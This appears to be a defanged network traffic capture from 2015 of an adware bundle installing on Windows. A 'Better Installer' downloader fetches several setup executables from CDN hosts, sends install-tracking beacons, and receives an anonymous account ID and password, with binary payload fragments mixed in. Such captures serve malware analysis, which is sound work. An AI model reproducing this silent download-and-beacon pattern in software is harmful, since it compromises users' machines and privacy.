.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3597u0ojlpfu1.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 25 Jan 2015 05:32:40 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 25 Jan 2015 05:42:40 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: UNswNbDPbPEXLcyWzSefctf0UaOUeFuzkwGIiCBxpIE7r9nEb0D-jA==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....
<<< skipped >>>


GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=4s11le45qfkhc2qxoebayyee




HTTP/1.1 200 OK

Connection: close

Date: Fri, 30 Jan 2015 01:28:17 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 98
<RESULT>.<ANON>.<ID>3d25af1c-6093-4a17-8fb9-0df34fdf
8db8</ID>.<PW>DESvnCzg</PW>.</ANON>.</RESUL
T>...


GET /root.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.globalsign.net




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:31:43 GMT

Content-Type: application/x-pkcs7-crl

Content-Length: 649

Connection: keep-alive

Set-Cookie: __cfduid=d818c2eb80501a2c05a8168aad5002f2c1422581503; expires=Sat, 30-Jan-16 01:31:43 GMT; path=/; domain=.globalsign.net; HttpOnly

Last-Modified: Thu, 11 Dec 2014 05:33:27 GMT

CF-Cache-Status: HIT

Expires: Sat, 31 Jan 2015 01:31:43 GMT

Cache-Control: public, max-age=86400

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1b09e95e659f0899-FRA
0...0..m...0...*.H........0W1.0...U....BE1.0...U....GlobalSign nv-sa1.
0...U....Root CA1.0...U....GlobalSign Root CA..141210000000Z..15033100
0000Z0..0*.........D.....141125000000Z0.0...U.......0*........)E.....1
41125000000Z0.0...U.......0*........ ...h..141125000000Z0.0...U.......
0*........,^.....141125000000Z0.0...U......../0-0...U....../0...U.#..0
...`{f.E....P/}..4....K0...*.H..............'~.f...V'..4..)..7....hg..
.,.f5k&'.....D.(.n...EV.Hx.h..Y...d..>....n.../.\...r....%ZX-Du....
.^/K.&.).....24.,.q..l.N..W.,.Lx...U'(.qn..^j5R........d_,.h8......C..
S..6$..(.\..5... n5h...<......za2.#r..E)..?..R.r..R.i...\.....9k...
w..V46..m...u..I.L.......HTTP/1.1 200 OK..Date: Fri, 30 Jan 2015 01:31
:43 GMT..Content-Type: application/x-pkcs7-crl..Content-Length: 649..C
onnection: keep-alive..Set-Cookie: __cfduid=d818c2eb80501a2c05a8168aad
5002f2c1422581503; expires=Sat, 30-Jan-16 01:31:43 GMT; path=/; domain
=.globalsign.net; HttpOnly..Last-Modified: Thu, 11 Dec 2014 05:33:27 G
MT..CF-Cache-Status: HIT..Expires: Sat, 31 Jan 2015 01:31:43 GMT..Cach
e-Control: public, max-age=86400..Accept-Ranges: bytes..Server: cloudf
lare-nginx..CF-RAY: 1b09e95e659f0899-FRA..0...0..m...0...*.H........0W
1.0...U....BE1.0...U....GlobalSign nv-sa1.0...U....Root CA1.0...U....G
lobalSign Root CA..141210000000Z..150331000000Z0..0*.........D.....141
125000000Z0.0...U.......0*........)E.....141125000000Z0.0...U.......0*
........ ...h..141125000000Z0.0...U.......0*........,^.....14112500000
0Z0.0...U......../0-0...U....../0...U.#..0...`{f.E....P/}..4....K0
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache




HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583224

Cache-Control: private, max-age=86400

Expires: Sat, 31 Jan 2015 01:28:01 GMT

Date: Fri, 30 Jan 2015 01:28:01 GMT

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................#........................................s....
..................H...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /utility.gif?report=fdata&f=3&c=820&i=20&n=ms_start_download&rnd=32020 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Fri, 30 Jan 2015 01:29:09 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close
GIF89a.............!.......,...........L..;..


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.hp HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com




HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 30 Jan 2015 01:28:42 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4
48..{"stats":"ok","time":"0.72 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 30 Jan 20
15 01:28:42 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.72 ms","message":"store 1 ac
tion and 0 update "}..0..


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=80408-160816

User-Agent: Better Installer(Mozilla)

Host: d2gv7sxh1xary4.cloudfront.net

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 80409

Connection: keep-alive

Date: Thu, 29 Jan 2015 10:04:18 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 80408-160816/321632

Age: 105

X-Cache: Hit from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: xg3qIc1GNzwZafLhXmUfwqyaJKJ7tEX0ksqBf1V1U2s9D4TL_Nz1yQ==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............
<<< skipped >>>


GET /app/ping.ashx?e=/9ZmISdorEsAVnWQbAnLWDtwOqvEtO32twtWKr9kvvwicvsFwQStECv5F5wArPI/YCpHZc9ZUaELdE/AWfC9TynhRH joYH551vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxO3A6q8S07fYnNJE/WLVy5l2fwAkvrmVqVpbyP6ok5vjiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmuQUMIkKKYuybEe7W9itEZBp67jbOSsxLskwZ2Lr9ocdj6afjeK5fDhR5vAG pvdOYocaijIvIVaKrGQS9s2JNgCsLqF8w43han8ICeLyHga HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:29:17 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 20
15 01:29:17 GMT..Content-Length: 0..


GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.omniroot.com




HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/ocsp-response

Date: Fri, 30 Jan 2015 01:30:23 GMT

Last-Modified: Thu, 29 Jan 2015 19:47:05 GMT

Server: ECS (ams/D1C2)

X-Cache: HIT

Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015012
9184609Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20141203203511Z....20150428204011Z0...*.H.............4..}.8.
.)....l..JcW.a..i.2....i.:...9`...K .#..x...2........x...U....._.....K
]..k8....*4...H4.K.d9?G.*.Y..e.\.y.....d.........L~._R...&.i...qLM5...
.EL.......3.....P9....6....'....'........j.4.q..e.vcI.$v....W]z......5
tQ.c ....X..hXiA......x.8%...Ez.......U....0...0...0...........'..0...
*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTrust1"0
 ..U....Baltimore CyberTrust Root0...150114195242Z..160114195229Z0G1.0
...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-20110.
."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...04..I..
....C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8..........h8GM
..*.4.MP..../[email protected]....
$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j.\.>
;.O....G.A........0..0... .....0......0...U.......0.0...U...........0.
..U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`;.l.uZ
..k.F..^|A.Tb0...*.H.............n.h\Ch*G.c..yr..."._....J.-....j.t%..
e.....([email protected]!m...sZH.N..>.S....K..........7wi3..x.D..l..ud.....
CC......<.&.2. ..d...T.......;.S....\... ......m.6......#(.&....q.[
z.........r..T....W...7ea.}..B.1........al.]i.F...-.0c...y.=?....E....
.......'>..O.._..
<<< skipped >>>


GET /img/accelerating-videos.jpg HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=3gioya300tgnfdg22kehbawi




HTTP/1.1 200 OK

Content-Type: image/jpeg

Last-Modified: Tue, 10 Jun 2014 08:53:04 GMT

Accept-Ranges: bytes

ETag: "0d8fd638984cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:29:18 GMT

Content-Length: 62153
......Exif..II*.................Ducky.......P.....)hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c06
0 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM
:InstanceID="xmp.iid:C1DF3D4AC22211E2B54FF29E4590DCFE" xmpMM:DocumentI
D="xmp.did:C1DF3D4BC22211E2B54FF29E4590DCFE"> <xmpMM:DerivedFrom
 stRef:instanceID="xmp.iid:C1DF3D48C22211E2B54FF29E4590DCFE" stRef:doc
umentID="xmp.did:C1DF3D49C22211E2B54FF29E4590DCFE"/> </rdf:Descr
iption> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?&g
t;....Adobe.d.........................................................
......................................................................
..................2...................................................
...........................................!..1AQ.aq....."2....BR#U...
b..3.T...W...S..u..rC.$4%6s...5.&V7.c.DdtEv'...e.Gw...................
....!1..A....Qaq."2RS...r3T.#....B..b$......4...D.EF............?...c.
.......!..A...H....\`.f...L...0.q%h.7.[{3..I....3.......wJ..x..h.;..=*
........m..P.PT..0.gi..K.Lb ....%.'..T....c....%.9.`("....`..#...Yy...
.L........Z.*.iM....V...n.*w.rb.6.......Q#... b...b.gU.?Sh}..T....
<<< skipped >>>

GET /ConversionService/GetScript.ashx?s=finish&frame=1&aff= HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=3gioya300tgnfdg22kehbawi; _ga=GA1.2.45237338.1422581382; _gat=1




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:29:21 GMT

Content-Length: 216
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"...O.<y...<M...<......
.[......m.zt........../..>|...;.......~..<n..........].....]....
_....%.8.............HTTP/1.1 200 OK..Cache-Control: private..Content-
Type: text/html; charset=utf-8..Content-Encoding: gzip..Vary: Accept-E
ncoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Pow
ered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:29:21 GMT..Content-Length:
 216...............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@.
.....{....{....;.N'...?\fd.l..J...!....?~|.?"...O.<y...<M...<
.......[......m.zt........../..>|...;.......~..<n..........]....
.]...._....%.8...............


GET /software_files/freezip/9_20/FreeZip920.exe HTTP/1.1

Range: bytes=839885-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: application/octet-stream

Content-Length: 279960

Last-Modified: Tue, 30 Jul 2013 12:25:29 GMT

Connection: close

ETag: "51f7b0b9-111665"

Content-Range: bytes 839885-1119844/1119845
.2.._.R.K.i_........~}$..r.P......)..Z"[.oD.&,%....x..5...I...........
......{.T3.. .D...E.....p.MJ..Z.9.G..X.c.1....W8....9.=e5....!.....a.:
....f...H.....{...L..k.hf.o.#...=.....eD..n...|....a..d~_......8...{.7
....q..KQ..QY..q...S...Z.c.~.n..r..12..-[.).}..q_..tv..en..xh]N..u..8"
N(....D.d.sm%1....].b.aQ..:J..B......,.9....q..E_f..f.....p...`X<..
..e..{..!a...T.:[....O..rzO........LH..w.l..VW .1....!...'...R1L...1.5
..(!.G*.F..1..._..t.1h.Z......$W...w..;?..#[email protected]..
.xjY*.8.Q.C.c...\.. ....Ta.UHX.Q.QC'..}.0%k,B..KH.Nv.4.0=...f.7.;S..e.
...O7...Tz....p$.C.Z]...y.D..cE...=L.}.h..y..kp-tJp.M......@[email protected]...
t..c.v..e.P.r..F..XT|..F.4'}..=......1................vp..b..a.`v".ih.
&_f....y.*...Ri.~5O....(M6....|.......w_.$......F...........}...-.H.*0
....A7.QZ.4.2......eJ......... .E.T...GyyQ.l.#/j.... ...D...CJ. N..;~.
M .....\..-...)...)\g. ....Nh<..i....7......i4l.?[...8oK...Q.W.fO}.
..X5...~v.Kud......6......a.d ,...F...hb.,..C..P...4VG....MCD....w3=..
...........8f{.....H.$b.H.........7.N..Pu.PN.*.c}-0^..A.)......7.}..&.
.g...'\..G.E)_[f.Rd...hn1W..Q.`&..B...x...q.\.)..........gr...j..sl..Z
.6).....{r..P%OT...4...B.q(Z..E....>....[.H..'.!.jy.i.;.>.8.w[..
.5.......*.....D.....yZ.l....)..u..c.:W..HU.^m&.......E. ...#..r......
,...O.8..6..,../..;x..Xj.......x\...f^....g.%.6..S.....}..U...A.....%.
.z?Vi....e....BVK.J....d^..g.$$.......z....w..".........\.. x.,._.4s.I
U..g<V..4.../..W7[..b..GLla.V.}...p.[;...*...u...r.HA..==...wyk..,.
e../)...#e....d......k..t.:*.....uK.$...d'.30.#.Wp.H...].hG.8._...
<<< skipped >>>


GET /smt2b/all/hat/row/setup.exe_c HTTP/1.1

Host: dl.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:01 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1422503021"

Last-Modified: Thu, 29 Jan 2015 03:43:41 GMT

Cache-Control: max-age=1974

Content-Length: 2859580

Content-Type: text/plain

X-HW: 1422581341.dop011.am4.t,1422581341.cds043.am4.c
)..g.....B.jJ}[email protected]. O.....|.X...z.gz..kg.Hs..xq-..oe..k
..........5.9...=.........\. Jt.iS.....E.4<.g.....Ck.....Fqf.j.....
...al.. ..~...g.#../..W.Ygrq..... ...h../[email protected]...
.....&l...\g..@!...=.....>..L....@.. ..I..|P.........`.5.'.Y}......
...f`...x\s*4x.;~<..".V...u.<Bm..R...]t.4...2.f^.FTr............
.J.k2...{.E...S.X9<0..`......].8.x2.....h..w.... ..JB.{.5\ii.H.aF.u
....&A....y......<......1..".pX.S|.(.=8.........d...:..Bb...U<qd
B.\.i..d......"I....a.U.."....[.........W.Z.m......X......UZ..'....4..
~...N.I...8.,...h\^P...=(..M.......k.....g...fL>S_...0......U.FU=c.
..^.[....zo..n...a...Wr...1.....v.....Qax..).#........5......X}.... E"
.4,....d.^..&..Xr...l.-..oIj..%"......:%.k.X..wS.I...g..."..&.B..V.../
@V.F.xHY=.....O.5AB.o../P....V......1.....p.. ?.]&...K.I....`_!.YAk..K
u.x&..B.-}..O.~B]O\...C../....H<..=g...k_...t.=L6..b........hr..W..
.[....Y.=.Ml.2`......P....A..|.(_...5,[email protected].(.....
...W.'..w%L..Y.....4t........?o...J..h.....y......u.;.Y.(...1=..2.._..
.$]z.H<..42.......$._.N.L..R-}acp..<[email protected]
|o.O..&...k.....G.........Xnth4.&....:...ylk..H....Y.. ....H.0X...j.i.
". 2...........V...f..Rh......x9..`.......qs.d..V.!^.. ...h....D....E.
.[.l...4....f....j,:5......r....7..*....qz.;.D.?.0OCa.u.......e._..(,.
...#..*...tW.t<}..X( .>Z|`R|.V..(;#.v....w.....V.........l..)...
.../D.(.O.~S...5UQ.rAN...'-"=.2KgP.l...$._.....Xsh...K.#w?.....iu....N
.T.!?.0@:...^.6..1.....`*.M..\....N.i.V...r....= P...........ve.~.
<<< skipped >>>


GET /js/jquery-1.8.3.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=3gioya300tgnfdg22kehbawi




HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:05 GMT

Accept-Ranges: bytes

ETag: "806e96648984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:29:17 GMT

Content-Length: 42645
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"......{7...i]...YQ..q..'w....?.
....N/w...{.O.".5.V..g..U}q.,.....o.......r...r ..w~.. ....;..2..../..
..._.K...]...r.g..V>nVe.n]......../n....g.../.3j...&.6...w~qq.U...g
./...xY..7.........>.em...'.q...l.o..}....~tg.V....>..|..a.Y>
............;...%x.yJ}|..7...........G.}.......w.y...ge.?w....,?.=...O
.O>..>...O.GO.m..[....r...&.../_...._2.Z.Es.....10.a......./Q...
.O,e...z.M.eJ..w...../.....9].../'?.O...{.....V..X.s...J....|tG..]w.?"
../o...b.x.}.z.{.....<....]s.9_./h.~.g..... g...4...3.}x5'....9'.wi
...4w/....G..?.3;.)h.L.l.wt.....#...L......g......YY..Qn{*.../.N....P.
.01C.uz...>q....."`...)A..HE .....(......].w.[..>...L.z=.../"...
..k...s...uI.;Z.DkA..l..<..3...-I..u....j.^..?....$.#....i...;2....
....N.k.bU....YX:........eZ_k.\...^d..|.{;[email protected]....>.x#
=.^.u7.`Ab...<k....1t..A...Q1j...?d...U..v....?k..%u..&k.....<..
.rV..J.......-....Z..3*>[..T........O..~.K.l6.n.#..^..;..b.......B.
..Z.../.%..>................<...m~./.}.E.|.....}[email protected]...
.J.......q..... .Q.........wF..f.ZUu;.....IY-.}N.MS.&.........a?.. ...
..~..#..X..-).S.>B.Hs.....l].'.|.6.........F....5(..o.!.f>1.U ..
G.......e8..k.DZ.J?.3.GK.K......I.u/...f......y..@.._. ...c".|Q].i#...
[..V..|A..2..........G.%!T,..G.G...G....#.....yU..e.D.{y.{.w....^g.h..
4f...yc..z.....<Z.....|...v.s|E.GY...B.N[.wFd.I~.cT...b{...;....."R
.va4...|...79.^N|?mH.F.......Gw0.K.~b..xx.Y..&..$[.@.>....u....
<<< skipped >>>


GET /install.gif?bundle=mystartsearch&ptid=smt&uid=535559167_198339_B48A115F HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: log.very911.com




HTTP/1.1 404 Not Found

Server: Tengine/1.2.2

Date: Fri, 30 Jan 2015 01:28:20 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 671

Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server. Sorry for the inco
nvenience.<br/>..Please report this message and include the foll
owing information to us.<br/>..Thank you very much!</p>..&
lt;table>..<tr>..<td>URL:</td>..<td>hXXp://
